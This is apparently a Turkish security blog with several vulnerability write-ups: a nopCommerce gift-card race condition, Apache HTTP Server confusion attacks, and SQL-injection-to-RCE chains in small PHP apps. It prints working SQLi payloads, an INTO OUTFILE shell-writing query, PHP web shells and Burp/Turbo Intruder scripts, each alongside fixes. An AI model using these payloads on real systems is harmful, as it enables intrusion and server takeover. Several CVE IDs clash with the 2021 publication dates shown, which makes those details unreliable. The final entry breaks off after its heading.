N-1 adet isteği hazırla, gönderme
Son isteği de hazırla
Hepsini tek bir TCP frame'e yükle
Gönder → tümü eş zamanlı işlenir

CVE-2024-58248: nopCommerce Gift Card Race Condition

nopCommerce, yaygın olarak kullanılan açık kaynaklı bir e-ticaret platformudur. Hediye kartı kullanım uç noktasındaki işlem dizisi atomik değildir.

Savunmasız kod akışı (sadeleştirilmiş):

// GiftCardService.cs
public async Task<bool> RedeemGiftCard(string code, decimal amount)
{
    var card = await _giftCardRepo.GetByCode(code);
    
    // STEP 1: Check balance
    if (card.RemainingAmount < amount)
        return false;
    
    // SUB-STATE EXISTS HERE (~3-8ms)
    // card.RemainingAmount NOT YET updated in DB
    
    // STEP 2: Deduct
    card.RemainingAmount -= amount;
    await _giftCardRepo.Update(card);
    return true;
}

Veritabanı kaydı güncellenmeden önce aynı anda birden fazla istek Step 1'i geçerse, tümü Step 2'yi çalıştırır. 100$ değerinde bir kart birden fazla kez kullanılabilir.

Burp Suite ile exploit:

1. Burp Suite → Repeater → Yeni bir sekme grubu oluştur
2. Hediye kartı redemption isteğini sekme grubuna 5 kez ekle
3. "Send group (parallel)" seçeneğini kullan
4. HTTP/2 etkin olduğundan emin ol
5. Gönder → Tüm yanıtlar 200 OK dönüyorsa başarılı

Limit Overrun: Diğer Saldırı Senaryoları

Race condition yalnızca gift card'larla sınırlı değildir:

1. Rate limit bypass:

POST /api/send-otp HTTP/2
# 5 istek/dakika limiti varsa, 5 isteği aynı anda gönder
# Tümü limit sayacı artmadan işlenebilir

2. Para birimi işlemleri:

Bakiye: $50
Aynı anda gönder: Transfer $40 × 3
Sub-state'de 3 × kontrol geçer: $50 >= $40 ✓
Sonuç: $120 transfer edilir, $50 bakiyeden

3. Tek kullanımlık token'lar:

Email doğrulama token'ını aynı anda 3 kez kullan
Token "used" olarak işaretlenmeden önce tümü geçer

Turbo Intruder ile Otomasyon

Daha fazla eş zamanlı istek için Burp'ün Turbo Intruder eklentisi kullanılabilir:

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=30,   # 30 request, 1 connection
        pipeline=True
    )
    
    for i in range(30):
        engine.queue(target.req)
    
    engine.start(timeout=10)

def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)

Tespit

Race condition açıklarını tespit etmek için:

Atomik işlemler yerine birden fazla DB sorgusu yapan uç noktalar
Bakiye/kredi/puan değiştiren endpoint'ler
Tek kullanımlık kaynak (token, kupon, davet linki) kullanan işlemler
Response süresinde ani değişiklikler

Önlem

1. Veritabanı düzeyinde atomik işlemler:

BEGIN TRANSACTION;
SELECT balance FROM gift_cards WHERE code = ? FOR UPDATE;
-- Lock row — concurrent reads blocked
UPDATE gift_cards SET remaining = remaining - ? 
WHERE code = ? AND remaining >= ?;
COMMIT;

2. Mutex / distributed lock:

using (await _lockService.AcquireLock($"giftcard:{code}"))
{
    // Only one thread enters at a time
    await RedeemGiftCard(code, amount);
}

3. Idempotency key'ler:

Her redemption isteği, tek kullanımlık bir idempotency key taşımalı. Aynı key ile gelen ikinci istek otomatik reddedilmeli.

Sonuç

Single-packet tekniği, race condition saldırılarını teorik olmaktan çıkarıp pratik bir tehdit haline getirdi. Milisaniye altı pencereler artık güvenilir biçimde istismar edilebilir durumdadır.

CVE-2024-58248, bu tekniğin gerçek dünya e-ticaret platformlarında ciddi mali kayıplara yol açabileceğini kanıtladı. Herhangi bir "kontrol et → kullan" akışı, atomik olmayan veritabanı işlemleri içeriyorsa potansiyel bir race condition barındırır.

CVE: CVE-2024-58248
Platform: nopCommerce
Araştırmacı: James Kettle / PortSwigger Research
Konferans: DEF CON 31 (2023), Black Hat USA 2023

Confusion Attacks: Apache HTTP Server'daki Gizli Semantik Belirsizliği Sömürmek

2026-05-27T09:00:00Z

Giriş: 2024'ün En İyi Saldırı Tekniği

Güvenlik araştırmacısı Orange Tsai, Black Hat USA 2024 konferansında güvenlik dünyasını sarsan bir araştırma sundu. Apache HTTP Server'daki gizli semantik belirsizlikleri kullanarak ACL bypass, SSRF ve unauthenticated RCE zincirleri oluşturmak mümkün.

Bu araştırma, PortSwigger'ın "2024 Yılının En İyi 10 Web Hacking Tekniği" listesinde birinci sıraya yerleşti. Güvenlik açıkları CVE-2024-38472'den CVE-2024-38477'ye kadar uzanan 6 farklı CVE ile belgelendi.

Temel Sorun: Semantik Belirsizlik Nedir?

Apache HTTP Server birden fazla modülden oluşur: mod_rewrite, mod_proxy, mod_authz_core, mod_cgi vb. Her modül bir HTTP isteğini pipeline'ın farklı bir noktasında işler.

Problem şu: Farklı modüller aynı URL'yi farklı biçimlerde yorumlayabilir.

Klasik bir örnek: %2F karakteri.

mod_authz_core (ACL kontrolü) URL'yi ham haliyle alır: /api%2F../admin → /admin kuralıyla eşleşmez → izin verilir
mod_rewrite aynı URL'yi decode eder: %2F → / → /api/../admin → /admin → backend'e iletilir

ACL "güvenli" görürken, backend handler gerçek yolu alır. Bu boşluk, tam bir bypass zincirine dönüşür.

Üç Confusion Türü

1. Filename Confusion — CVE-2024-38474 / CVE-2024-38473

mod_rewrite, ACL denetiminden önce URL'yi normalize etmez. ACL ham URL üzerinden karar verir, ancak mod_rewrite sonradan decode eder.

Örnek savunmasız yapılandırma:

<Location "/admin">
  Require ip 192.168.1.0/24
</Location>

RewriteEngine On
RewriteRule "^/api/(.+)$" "/var/www/api/$1" [L]

Saldırı:

GET /api%2F../admin/panel HTTP/1.1
Host: target.com

Adım 1 — ACL: /api%2F../admin/panel → /admin kuralıyla eşleşmez → PASS

Adım 2 — mod_rewrite: %2F → / → /api/../admin/panel → /admin/panel → backend'e iletilir

Sonuç: Korumalı kaynak ifşa edilir ya da RCE tetiklenir.

2. DocumentRoot Confusion — CVE-2024-38476 / CVE-2024-38472

Ters proxy yapılandırmalarında (ProxyPass), Apache'nin yol yorumlaması backend'e farklı bir istek iletmesine neden olabilir.

Örnek savunmasız yapılandırma:

ProxyPass "/app" "http://internal-backend:8080/app"

<Location "/app/admin">
  Require all denied
</Location>

Saldırı:

GET /app%2F..%2Fadmin/config HTTP/1.1

ACL /app/admin kuralıyla eşleşmez (encoded karakterler). ProxyPass decode edilmiş yolu backend'e iletir: /admin/config. Backend bu kısıtlı kaynağı döndürür.

Bu teknik; internal servislere SSRF, yetkisiz dosya okuma ve backend RCE için kullanılabilir.

3. Handler Confusion — CVE-2024-38475 / CVE-2024-38477

mod_rewrite bir isteği yanlış handler'a yönlendirir. Handler mod_cgi veya mod_php ise gelen dosya çalıştırılır.

Örnek savunmasız yapılandırma:

RewriteEngine On
RewriteRule "^/static/(.+\.gif)$" "/var/www/static/$1" [L]
AddHandler cgi-script .cgi

Saldırı:

GET /static/../../cgi-bin/shell.cgi HTTP/1.1

Rewrite kuralı .gif uzantısıyla eşleşemez ancak NoDecode flag yoksa yol normalize edilir ve /cgi-bin/shell.cgi CGI handler üzerinden çalıştırılır. Bu doğrudan RCE anlamına gelir.

Saldırı Zinciri: Görselleştirilmiş

PoC — Encoded Path Bypass Testi

import requests

TARGET = "http://target.com"
# Filename Confusion PoC
payloads = [
    "/api%2F../admin/config",      # %2F bypass
    "/api%2e%2e/admin/config",     # %2E%2E bypass
    "/api/..%2Fadmin/config",      # mixed encoding
    "/api/%2e%2e/admin/config",    # double-dot encoded
]

for payload in payloads:
    r = requests.get(TARGET + payload, allow_redirects=False)
    if r.status_code == 200:
        print(f"[!] BYPASS: {payload} → {r.status_code}")
    else:
        print(f"    BLOCKED: {payload} → {r.status_code}")

Hangi Apache Versiyonları Etkilendi?

Apache HTTP Server 2.4.0 – 2.4.59 arası tüm sürümler
mod_rewrite, mod_proxy, mod_cgi aktifse etkilenir
Düzeltme: Apache 2.4.60 (Temmuz 2024)

Tespit ve Önlem

1. Güncelleme: Apache 2.4.60 veya daha yeni bir sürüme yükseltin.

2. AllowEncodedSlashes ayarı:

AllowEncodedSlashes NoDecode

Bu ayar, URL'deki encoded slash karakterlerinin decode edilmesini engeller.

3. RewriteRule'larda [NE] flag kullanmaktan kaçının (no-escape flag decode eder).

4. WAF kurallarında hem encoded hem decoded form kontrol edilmeli:

# Hem /admin hem %2Fadmin'i engelle
SecRule REQUEST_URI "@rx (?i)(%2f|%2e%2e|/\.\./)" \
  "id:1001,deny,msg:'Encoded Path Traversal'"

5. Reverse proxy önünde normalize edici bir katman ekleyin (örn: Nginx ile merge_slashes on).

Sonuç

Confusion Attacks, tek bir modül açığı yerine modüller arası tutarsızlıktan doğan yeni bir saldırı kategorisini tanımlar. Özellikle şunları gösterir: Yalnızca bireysel modülleri test etmek yeterli değildir — güvenlik, modüller arası etkileşim analizini de kapsamalıdır.

Orange Tsai, bu araştırmayla Apache gibi milyonlarca sunucuda çalışan bir altyapının 20 yıllık bir bug sınıfına sahip olabileceğini ortaya koydu.

CVE: CVE-2024-38472, CVE-2024-38473, CVE-2024-38474, CVE-2024-38475, CVE-2024-38476, CVE-2024-38477
İlk Açıklama: Temmuz 2024
Araştırmacı: Orange Tsai / DEVCORE Research
Konferans: Black Hat USA 2024

CVE-2025-69459 – Movie Rating System 1.0 - Broken Access Control

2026-01-21T14:03:00Z

Giriş

Exploit Kodunu Görüntüle
Bu raporda, "Movie Rating System 1.0" uygulamasında kritik bir Erişim Kontrolü Bozukluğu (Broken Access Control) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bu zafiyet, kimliği doğrulanmamış bir saldırganın sisteme yönetici (admin) yetkileriyle yeni bir kullanıcı eklemesine olanak tanımaktadır.

Zafiyet Analizi

Yetkisiz Erişim ve Kullanıcı Oluşturma

Uygulamanın kullanıcı yönetimi işlemlerini gerçekleştiren classes/Users.php dosyasını incelediğimde, save_users fonksiyonunun herhangi bir kimlik doğrulama kontrolü yapmadan çalıştığını tespit ettim.

    case 'save':
        echo $users->save_users();
    break;
    // ...
} ```
![Movie Broken Vuln](/assets/img/blog/moviebroken.png)
Yukarıdaki kod parçasında görüldüğü üzere, `f=save` parametresi ile gelen istekler doğrudan `save_users` fonksiyonuna yönlendirilmektedir. Bu noktada kullanıcının oturum açıp açmadığı veya yönetici yetkisine sahip olup olmadığı kontrol edilmemektedir.
`save_users` fonksiyonunun içeriğine baktığımızda ise, POST isteği ile gönderilen verilerin doğrudan veritabanına kaydedildiğini görüyoruz:
```php public function save_users(){
    // ...
    extract($_POST);
    // ...
    foreach($_POST as $k => $v){
        if(in_array($k,array('firstname','middlename','lastname','username','type'))){
            if(!empty($data)) $data .=" , ";
            $data .= " {$k} = '{$v}' ";
        }
    }
    // ...
    if(empty($id)){
        $qry = $this->conn->query("INSERT INTO users set {$data}");
        // ...
    }
    // ...
} ```
![save_users Full Code](/assets/img/blog/moviebroken1.png)
![save_users Full Code](/assets/img/blog/moviebroken3.png)
Buradaki en kritik nokta, `type` parametresinin de dışarıdan manipüle edilebilir olmasıdır. Sistemde `type=1` genellikle yönetici (Administrator) yetkisini temsil etmektedir. Saldırgan, bu parametreyi `1` olarak göndererek kendini yönetici yapabilir.
### Exploit Geliştirme
Bu zafiyeti istismar etmek için Python dilinde bir exploit geliştirdim (`exploit.py`). Saldırı adımları şu şekildedir:
1. **Hedef Belirleme:** Kullanıcıdan hedef URL alınır.
2. **Yönetici Hesabı Oluşturma:** `classes/Users.php?f=save` adresine özel olarak hazırlanmış bir `multipart/form-data` POST isteği gönderilir.

   * `username`: "tago"
   * `password`: "tagoletta"
   * `type`: "1" (Yönetici Yetkisi)
   * `firstname`, `lastname`: Rastgele değerler.
3. **Giriş Kontrolü:** Hesap oluşturulduktan sonra, `classes/Login.php?f=login` adresine oluşturulan kullanıcı adı ve şifre ile giriş isteği gönderilerek exploitin başarısı doğrulanır.
Eğer sunucu `200 OK` dönerse ve giriş başarılı olursa, sistemde artık tam yetkili bir yönetici hesabımız var demektir.
### Çözüm ve Kapatma
Bu zafiyeti gidermek için, `save_users` fonksiyonuna erişimin sadece yetkili yöneticiler tarafından yapılabileceğinden emin olunmalıdır.
**Önlem:**
`classes/Users.php` dosyasındaki `switch` yapısına veya `save_users` fonksiyonunun başına bir yetki kontrolü eklenmelidir.
*Güvenli Uygulama Örneği:*
```php // classes/Users.php
// ...
switch ($action) {
    case 'save':
        // Oturum kontrolü ve yetki kontrolü ekleyin
        if(!isset($_SESSION['userdata']) || $_SESSION['userdata']['type'] != 1){
            echo json_encode(['status' => 'failed', 'msg' => 'Unauthorized access.']);
            exit;
        }
        echo $users->save_users();
    break;
    // ...
} ```
Bu değişiklik, sadece oturum açmış ve `type` değeri `1` olan (Yönetici) kullanıcıların bu fonksiyonu çağırmasına izin verecektir.
---
**CVE ID:** CVE-2025-69459 **İlk Yayın Tarihi:** 22 Aralık 2021 **Araştırmacı:** Tağmaç "Tagoletta" **Canonical reference:** https://www.exploit-db.com/exploits/50623 **Github Repository:** https://github.com/Tagoletta/CVE-2025-69459

CVE-2025-69458 – Movie Rating System 1.0 - SQL Injection to RCE (Unauthenticated)

2026-01-21T14:03:00Z

Giriş

Exploit Kodunu Görüntüle

Bu raporda, "Movie Rating System 1.0" uygulamasında tespit edilen kritik bir SQL Enjeksiyonu (SQL Injection) zafiyetini ve bu zafiyetin Uzaktan Kod Yürütme (RCE) saldırısına nasıl dönüştürülebileceğini inceleyeceğiz. Bu saldırı, kimliği doğrulanmamış bir saldırganın sunucu üzerinde tam kontrol sağlamasına olanak tanır.

Zafiyet Analizi

SQL Enjeksiyonu Noktası

Uygulamanın film detaylarını gösteren movie_details.php dosyasını incelediğimizde, id parametresinin yeterli güvenlik önlemleri alınmadan doğrudan SQL sorgusuna dahil edildiğini görüyoruz.

// movie_details.php içindeki Zafiyetli Kod
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `movie_list` where id = '{$_GET['id']}'");
    // ...
}

Yukarıdaki kodda, $_GET['id'] değişkeni herhangi bir temizleme işleminden geçirilmeden veya hazırlanmış ifadeler (prepared statements) kullanılmadan sorguya eklenmektedir. Bu durum, saldırganın SQL sorgusunu manipüle etmesine ve veritabanı üzerinde yetkisiz işlemler yapmasına olanak tanır.

Exploit Geliştirme

Bu zafiyeti bir RCE saldırısına dönüştürmek için geliştirdiğim exploit (exploit.py) şu adımları izlemektedir:

Hedef ve Sayfa Tespiti: Exploit, hedef URL'yi alır ve "Movies" sayfasını bularak geçerli bir film detay sayfasına (movie_details.php?id=...) ulaşır.
Yol İfşası (Path Disclosure):
Saldırgan, id parametresine tek tırnak (') karakteri ekleyerek bir SQL sözdizimi hatası oluşturur. Eğer sunucuda hata mesajları açıksa (display_errors = On), PHP bir uyarı mesajı döndürür ve bu mesaj dosyanın sunucu üzerindeki tam fiziksel yolunu (örn. C:\xampp\htdocs\movie\movie_details.php) içerir. Exploit, bu hatayı ayrıştırarak web kök dizinini (C:/xampp/htdocs/movie/) elde eder.
SQL'den RCE'ye (INTO OUTFILE):
Dosya yolunu elde ettikten sonra, MySQL'in INTO OUTFILE özelliği kullanılarak sunucuya kötü amaçlı bir PHP dosyası yazılır.

Kullanılan Payload Mantığı:
```
-1881' OR 1881=1881 LIMIT 0,1 INTO OUTFILE 'C:/xampp/htdocs/movie/shell.php' LINES TERMINATED BY 0x3c3f70687020... -- -
```
Burada LINES TERMINATED BY ifadesi kritik öneme sahiptir. Normalde sorgu sonucu dosyaya yazılırken, satır sonlarına saldırganın belirlediği hex kodlanmış PHP shell kodu (<?php ... system($cmd); ... ?>) eklenir. Böylece oluşturulan dosya, sunucu tarafından çalıştırılabilir bir PHP dosyası haline gelir.

Not: Bu saldırının başarılı olabilmesi için veritabanı kullanıcısının FILE yetkisine sahip olması ve secure_file_priv ayarının dosya yazmaya izin vermesi gerekmektedir.
Kod Yürütme:
Dosya başarıyla oluşturulduktan sonra, exploit shell.php dosyasına bir HTTP isteği gönderir ve whoami komutunu çalıştırarak sistem üzerindeki yetkisini doğrular.

Çözüm ve Kapatma

Bu kritik zafiyeti gidermek için aşağıdaki adımlar uygulanmalıdır:

1. Prepared Statements Kullanımı:

SQL sorgularında kullanıcı girdilerini doğrudan birleştirmek yerine, mutlaka Hazırlanmış İfadeler (Prepared Statements) kullanılmalıdır.

Güvenli Kod Örneği:

$stmt = $conn->prepare("SELECT * FROM `movie_list` where id = ?");
$stmt->bind_param("s", $_GET['id']);
$stmt->execute();
$qry = $stmt->get_result();

2. Hata Mesajlarını Gizleme:

Canlı ortamda (production) PHP hata mesajlarının kullanıcıya gösterilmesi engellenmelidir. php.ini dosyasında display_errors = Off olarak ayarlanmalıdır.

3. Veritabanı Yetkilerini Kısıtlama:

Web uygulamasının kullandığı veritabanı kullanıcısına FILE gibi yüksek yetkiler verilmemelidir. Sadece gerekli olan SELECT, INSERT, UPDATE, DELETE yetkileri tanımlanmalıdır.

4. secure_file_priv Ayarı:

MySQL yapılandırmasında secure_file_priv ayarı, web kök dizini dışında güvenli bir dizine yönlendirilmeli veya NULL olarak ayarlanarak dosya işlemleri kısıtlanmalıdır.

CVE ID: CVE-2025-69458
İlk Yayın Tarihi: 22 Aralık 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50622
Github Repository: https://github.com/Tagoletta/CVE-2025-69458

CVE-2023-38890 – Online Shopping Portal 3.1 Uzaktan Kod Yürütme

2026-01-21T14:03:00Z

Exploit Kodunu Görüntüle

Bu zafiyet SourceCodester Online Shopping Portal sürüm 3.1'i etkilemektedir.
SQL enjeksiyonu ve kısıtlanmamış dosya yükleme yoluyla uzaktan kimlik doğrulaması olmadan kod yürütülmesine (RCE) neden olur.

1. Keşif ve Tespit: Giriş Noktası (SQL Enjeksiyonu)

Hedefim yönetim paneliydi. Bir "Black Hat" bakış açısıyla, ilk adımım her zaman kimlik doğrulama mekanizmasını zorlamak ve zayıflık aramaktır.

Keşif Süreci

/admin/index.php adresine gittim ve standart bir giriş formuyla karşılaştım. Şifre tahmin etmekle vakit kaybetmek yerine, username alanına özel karakterler girerek SQL Enjeksiyonu (SQLi) testi yaptım.

Deneme 1: admin' -> Sonuç: Hata veya geçersiz giriş.
Deneme 2: ' OR 1=1-- -> Sonuç: Başarılı Giriş.

' OR 1=1-- payload'ını girerek veritabanını kandırdım. Sorgu mantığını "Kullanıcı adı boş olsun VEYA 1 eşittir 1 olsun" şeklinde değiştirdim. 1=1 her zaman doğru olduğu için, veritabanı admin tablosundaki ilk kaydı döndürdü ve şifre girmeden yönetici olarak içeri girdim.

Kök Neden Analizi (Root Cause)

admin/index.php kaynak kodunu incelediğimde zafiyetin nedeni barizdi:

$username=$_POST['username'];
$ret=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'");

Neden Zafiyetli: Geliştirici, kullanıcıdan gelen $username verisini doğrudan SQL sorgusuna yapıştırmış. Hiçbir temizleme (sanitization) yok, özel karakterler kaçış dizisine alınmamış ve en önemlisi Hazırlanmış İfadeler (Prepared Statements) kullanılmamış. Bu, ders kitaplarına konu olacak türden bir SQL Enjeksiyonudur.

2. Yetki Yükseltme: RCE Avı (Kısıtlamasız Dosya Yükleme)

Yönetici erişimini elde ettikten sonra hedefim sadece erişim değil, sunucuyu tamamen kontrol etmekti (Uzaktan Kod Çalıştırma - RCE). Uygulamanın dosya sistemiyle etkileşime giren özelliklerini aramaya başladım.

Keşif Süreci

"Ürün Ekle" (Insert Product) sayfasını (admin/insert-product.php) buldum. Bu form, yöneticilerin ürün resimleri yüklemesine izin veriyordu. Bu, zararlı dosya yüklemek için mükemmel bir hedeftir.

Geçerli bir resim (JPG/PNG) yerine, içinde basit bir PHP betiği olan shell.php adında bir dosya yüklemeyi denedim.

Sonuç: Uygulama dosyayı hiçbir hata vermeden kabul etti.
Doğrulama: Yükleme dizinini (productimages/{id}/) kontrol ettim ve .php dosyamın sunucuda saklandığını ve çalıştırılabilir olduğunu gördüm.

Kök Neden Analizi

admin/insert-product.php dosyasındaki yükleme işlemi kodları kritik derecede hatalıydı:

move_uploaded_file($_FILES["productimage1"]["tmp_name"],"productimages/$productid/".$_FILES["productimage1"]["name"]);

Neden Zafiyetli:

Uzantı Kontrolü Yok: Kod, dosya uzantısının güvenli olup olmadığını (örn. .jpg, .png) kontrol etmiyor. .php, .exe gibi dosyaları körü körüne kabul ediyor.
MIME Türü Kontrolü Yok: Dosyanın gerçek içeriğini doğrulamıyor.
Yeniden Adlandırma Yok: Dosyayı kullanıcının verdiği orijinal isimle kaydediyor ($_FILES["..."]["name"]). Bu, saldırganın dosya yolunu kolayca tahmin etmesini sağlıyor.

3. Silahlandırma: Exploit Geliştirme

Tespit ettiğim bu iki zafiyeti birleştirerek tam otomatik bir saldırı aracı (exploit.py) geliştirdim.

Exploit Mantığı

Oturum Başlatma: requests.session() kullanarak çerezleri (cookies) koruyorum, böylece bir tarayıcıyı simüle ediyorum.
Kimlik Doğrulama Atlatma: /admin/ adresine username alanında ' OR 1=1-- a payload'ı ile bir POST isteği gönderiyorum. Bu, yetkili bir yönetici oturumu açmamı sağlıyor.
Payload Oluşturma: Tespit edilmemek ve çakışmaları önlemek için rastgele bir ürün adı ve shell dosya adı üretiyorum. Payload basit bir PHP web shell'idir:
```
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
```
Zararlı Yükleme: insert-product.php sayfasına multipart/form-data formatında bir POST isteği hazırlıyorum. Gerekli ürün bilgilerini dolduruyorum ve productimage1 alanına PHP shell dosyamı ekliyorum.
Yol Tespiti: Yükleme işleminden sonra, sunucunun shell dosyasını tam olarak nereye kaydettiğini bulmak için yeni oluşturduğum ürünü aratıyorum.
Çalıştırma: Son olarak, yüklenen shell'in URL'ini ekrana yazdırıyorum. Bu URL'e ?cmd=whoami parametresiyle gidildiğinde sunucuda komut çalıştırılmış oluyor.

4. İyileştirme: Nasıl Kapatılır?

Bu uygulamayı güvenli hale getirmek için kodun önemli ölçüde yeniden düzenlenmesi gerekir.

SQL Enjeksiyonunu Düzeltme

Hazırlanmış İfadeler (Prepared Statements) kullanılmalıdır. Bu, veritabanının kullanıcı girdisini kod olarak değil, sadece veri olarak işlemesini sağlar.

Güvenli Kod Örneği (admin/index.php):

$stmt = $con->prepare("SELECT id, username, password FROM admin WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($row = $result->fetch_assoc()) {
    // Giriş başarılı
}

Dosya Yükleme Zafiyetini Düzeltme

Sıkı bir doğrulama ve dosya yeniden adlandırma işlemi uygulanmalıdır.

Güvenli Kod Örneği (admin/insert-product.php):

$allowed_extensions = array("jpg", "jpeg", "png", "gif");
$filename = $_FILES["productimage1"]["name"];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

// 1. Uzantı Kontrolü
if (!in_array($ext, $allowed_extensions)) {
    die("Geçersiz dosya türü.");
}

// 2. MIME Türü (İçerik) Kontrolü
$check = getimagesize($_FILES["productimage1"]["tmp_name"]);
if ($check === false) {
    die("Dosya bir resim değil.");
}

// 3. Yeniden Adlandırma (Üzerine yazmayı ve çalıştırmayı önleme)
$new_filename = md5(time() . $filename) . '.' . $ext;
move_uploaded_file($_FILES["productimage1"]["tmp_name"], "productimages/$productid/" . $new_filename);

CVE ID: CVE-2023-38890
İlk Yayın Tarihi: 17 Haziran 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50029
Github Repository: https://github.com/Tagoletta/CVE-2023-38890

CVE-2025-69457 – Responsive Tourism Website 3.1 - Remote Code Execution (Unauthenticated)

2026-01-21T14:03:00Z

Giriş

Exploit Kodunu Görüntüle

Bu raporda, CVE-2025-69457 kodu ile izlenen "Responsive Tourism Website 3.1" uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı (veya bu senaryoda bir "siyah şapkalı" hacker) olarak amacım sunucu üzerinde tam kontrol sağlamaktı. Saldırı zinciri iki farklı zafiyeti içeriyor: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.

Zafiyet Analizi

Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)

İlk hedefim /admin/login.php adresindeki yönetim paneliydi. Giriş formunda standart SQL enjeksiyon yüklerini denedim ve uygulamanın username alanında SQL enjeksiyonuna açık olduğunu keşfettim.

classes/Login.php dosyasındaki kaynak kodunu inceledim ve temel nedeni buldum:

// classes/Login.php içindeki Zafiyetli Kod
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Uygulama, kullanıcı girdisi olan $username değişkenini herhangi bir temizleme veya parametreleme yapmadan doğrudan SQL sorgusuna ekliyor. Bu, saldırganın sorgu mantığını değiştirmesine olanak tanır.

Kullanılan Yük (Payload): admin' or '1'='1'#

Bu yük enjekte edildiğinde sorgu şu hale gelir:

SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

# karakteri sorgunun geri kalanını (şifre kontrolünü) yorum satırı haline getirir ve 1=1 her zaman doğru olduğu için veritabanı ilk kullanıcı kaydını (yönetici) döndürür, böylece şifresiz giriş yapmış olurum.

Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)

Yönetim paneline erişim sağladıktan sonra dosya yükleyebileceğim yerleri aradım. Kullanıcıların profil resimlerini (avatar) güncelleyebildiği "Kullanıcı Ayarları" sayfasını (admin/?page=user) buldum.

Bu isteği işleyen classes/Users.php dosyasındaki arka uç kodunu inceledim:

// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
    $fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
    $move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
    // ...
}

Buradaki zafiyet çok açıktır:

Uzantı Kontrolü Yok: Kod, dosya adını ($_FILES['img']['name']) doğrudan kullanıcıdan alır. Uzantının .jpg, .png veya .php olup olmadığını kontrol etmez.
İçerik Kontrolü Yok: Dosyanın MIME türünü veya gerçek içeriğini doğrulamaz.
Tahmin Edilebilir Yol: Dosya uploads/ dizinine bir zaman damgası önekiyle kaydedilir, ancak orijinal uzantı korunur.

Bu, shell.php adında bir dosya yükleyebileceğim ve sunucunun bunu bir PHP dosyası olarak kaydedeceği anlamına gelir. Bu dosyaya tarayıcı üzerinden eriştiğimde, sunucu içindeki kötü amaçlı PHP kodunu çalıştıracaktır.

Exploit Geliştirme

Tüm bu saldırı zincirini otomatize etmek için bir Python betiği (exploit.py) yazdım. İşte exploiti nasıl kurguladım:

Oturum Kurulumu: İstekler arasında çerezleri korumak için requests.Session() kullandım.
Giriş Atlatma: classes/Login.php?f=login adresine SQL enjeksiyon yükü ile bir POST isteği gönderdim.
Bilgi Toplama: Shell'i yüklemeden önce, admin/?page=user sayfasından mevcut kullanıcının bilgilerini (ID, Ad, Soyad, Kullanıcı Adı) çektim (scrape ettim). Bu çok önemliydi çünkü save_users fonksiyonu tüm alanları güncelliyor. Sadece dosyayı gönderseydim, admin profilini bozabilir veya veritabanı hatasına neden olabilirdim. Gizli kalmak ve profil verilerini korumak istedim.
Shell Yükleme: classes/Users.php?f=save adresine bir multipart/form-data POST isteği oluşturdum.
- Çektiğim kullanıcı verilerini ekledim.
- img dosya alanını ekledim.
- Dosya Adı: .php ile biten rastgele bir dosya adı oluşturdum (örn. xYz_Tagoletta.php).
- Payload: <?php if(isset($_GET['cmd'])){ echo '<b>Tagoletta</b><pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
Çalıştırma: Yüklemeden sonra, avatar resminin yeni src özniteliğini bulmak için profil sayfasını tekrar ayrıştırdım. Bu bana sunucudaki tam yolu verdi. Son olarak, kod yürütmeyi kanıtlamak için ?cmd=whoami eklenmiş URL'yi yazdırdım.

Çözüm ve Kapatma

Bu uygulamayı güvenli hale getirmek için her iki zafiyet de derhal kapatılmalıdır.

1. SQL Enjeksiyonunu Düzeltme:
Dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanın. Bu, kullanıcı girdisinin çalıştırılabilir kod olarak değil, veri olarak işlenmesini sağlar.

Zafiyetli:

$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Güvenli:

$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();

2. Dosya Yüklemeyi Düzeltme:
Dosya uzantısını doğrulayın ve dosyayı güvenli bir şekilde yeniden adlandırın. Asla kullanıcı tarafından sağlanan dosya adını/uzantısını kullanmayın.

Güvenli Uygulama Mantığı:

$allowed = array('jpg', 'jpeg', 'png', 'gif');
$filename = $_FILES['img']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);

if(!in_array(strtolower($ext), $allowed)) {
    // Hata: Geçersiz dosya türü
    exit("Geçersiz dosya türü");
}

// Orijinal uzantı (eğer izin veriliyorsa) ile güvenli, rastgele bir dosya adı oluşturun
$fname = 'uploads/' . uniqid() . '.' . $ext;

CVE ID: CVE-2025-69457
İlk Yayın Tarihi: 22 Haziran 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50049
Github Repository: https://github.com/Tagoletta/CVE-2025-69457

CVE-2025-69460 – Simple Image Gallery 1.0 - Remote Code Execution (Unauthenticated)

2026-01-21T14:03:00Z

Giriş

Exploit Kodunu Görüntüle

